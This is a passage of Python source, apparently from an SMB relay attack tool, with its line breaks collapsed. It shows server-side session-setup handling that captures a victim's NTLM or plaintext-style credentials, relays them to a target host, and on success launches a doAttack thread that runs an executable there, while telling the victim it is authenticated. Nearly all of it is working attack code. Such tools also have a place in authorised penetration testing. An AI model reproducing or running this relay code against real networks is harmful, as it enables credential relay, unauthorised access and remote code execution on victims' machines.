packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = '\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff # Reset the UID smbClient.setUid(0) return None, [packet], errorCode else: # We have a session, create a thread and do whatever we want del (smbData[self.target]) clientThread = doAttack(smbClient,self.exeFile) clientThread.start() # Now continue with the server ############################################################# respToken = smb.SPNEGO_NegTokenResp() # accept-completed respToken['NegResult'] = '\x00' # Status SUCCESS errorCode = STATUS_SUCCESS # Let's store it in the connection data connData['AUTHENTICATE_MESSAGE'] = authenticateMessage else: raise("Unknown NTLMSSP MessageType %d" % messageType) respParameters['SecurityBlobLength'] = len(respToken) respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] respData['SecurityBlob'] = respToken.getData() else: # Process Standard Security respParameters = smb.SMBSessionSetupAndXResponse_Parameters() respData = smb.SMBSessionSetupAndXResponse_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Data() sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength'] sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength'] sessionSetupData.fromString(SMBCommand['Data']) connData['Capabilities'] = sessionSetupParameters['Capabilities'] ############################################################# # SMBRelay smbClient = smbData[self.target]['SMBClient'] clientResponse, errorCode = smbClient.login_standard(sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = smb.NewSMBPacket() packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = '\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff # Reset the UID smbClient.setUid(0) return None, [packet], errorCode # Now continue with the server else: # We have a session, create a thread and do whatever we want del (smbData[self.target]) clientThread = doAttack(smbClient,self.exeFile) clientThread.start() # Remove the target server from our connection list, the work is done # Now continue with the server ############################################################# # Do the verification here, for just now we grant access # TODO: Manage more UIDs for the same session errorCode = STATUS_SUCCESS connData['Uid'] = 10 respParameters['Action'] = 0 respData['NativeOS'] = smbServer.getServerOS() respData['NativeLanMan'] = smbServer.getServerOS() respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData # From now on, the client can ask for other commands connData['Authenticated'] = True ############################################################# # SMBRelay smbServer.setConnectionData('SMBRelay', smbData) ############################################################# smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode